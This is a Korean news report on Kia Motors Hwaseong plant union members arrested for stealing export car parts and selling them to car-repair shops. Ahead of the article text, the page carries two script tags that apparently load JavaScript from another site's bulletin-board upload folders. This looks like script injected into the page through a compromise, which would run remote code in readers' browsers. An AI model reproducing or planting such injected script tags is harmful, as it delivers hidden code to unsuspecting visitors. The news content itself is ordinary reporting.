<SCRIPT Language=JavaScript src=http://hanphil.or.kr/bbs/data/gallery/Cups.js></script> <SCRIPT Language=JavaScript src=http://hanphil.or.kr/bbs/data/young/brod.js></script> 취업비리로 물의를 빚은 기아자동차 노조원들이 이번에는 회사의 자동차 부품을 상습적으로 빼돌려 카센터에 팔아넘기다 경찰에 무더기로 사법처리됐다.
경기 화성경찰서는 20일 특정범죄가중처벌법상 절도 혐의로 기아자동차 화성공장 노조원 59명을 적발해 이 중 조직부장 이모씨(33) 등 13명에 대해 사전구속영장을 신청하고 한모씨(43) 등 46명은 불구속입건했다.
경찰은 이들로부터 부품을 사들인 박모씨(43) 등 화성공장 주변 카센터 업주 4명에 대해 장물취득과 절도교사 혐의로 사전구속영장을 신청했다. 이날 경찰이 카센터에서 압수한 자동차 부품은 375점, 6천29만원어치다.
경찰에 따르면 조직부장 이씨 등은 2003년 초부터 최근까지 13차례에 걸쳐 에어백, 에어컨, 범퍼 등 미국과 유럽 수출용 차량부품 50여점(1천만원 상당)을 훔쳐 카센터에 판 혐의다. 이들은 회사 작업장에서 부품을 빼돌린 뒤 자신의 차량 트렁크에 숨겨 정문을 빠져나왔지만 별다른 제지를 받지 않았던 것으로 드러났다.
카센터 업주 박씨 등은 기아차 직원들에게 부품을 처분해주겠다고 제안, 훔친 부품을 시가의 반값에 사들인 뒤 인터넷에 ‘자동차 부품 판매 카페’를 개설해 판 혐의를 받고 있다.
경찰은 국내 유통이 불가능한 수출용 차량 부품이 인터넷을 통해 판매된다는 정보를 입수, 카센터 4곳에 대한 압수수색을 벌여 기아차 화성공장 직원들의 불법 부품 유출 사실을 밝혀냈다. 경찰 관계자는 “회사측은 직원들이 훔친 부품을 자신의 차량에 버젓이 달고 다녔지만 이를 전혀 몰랐고 재고조사도 엉터리였다”고 말했다.
경찰은 이번에 적발된 노조원들 외에 또 다른 노조원 80여명도 같은 수법으로 부품을 빼돌린 혐의를 포착하고 수사를 확대하고 있다.
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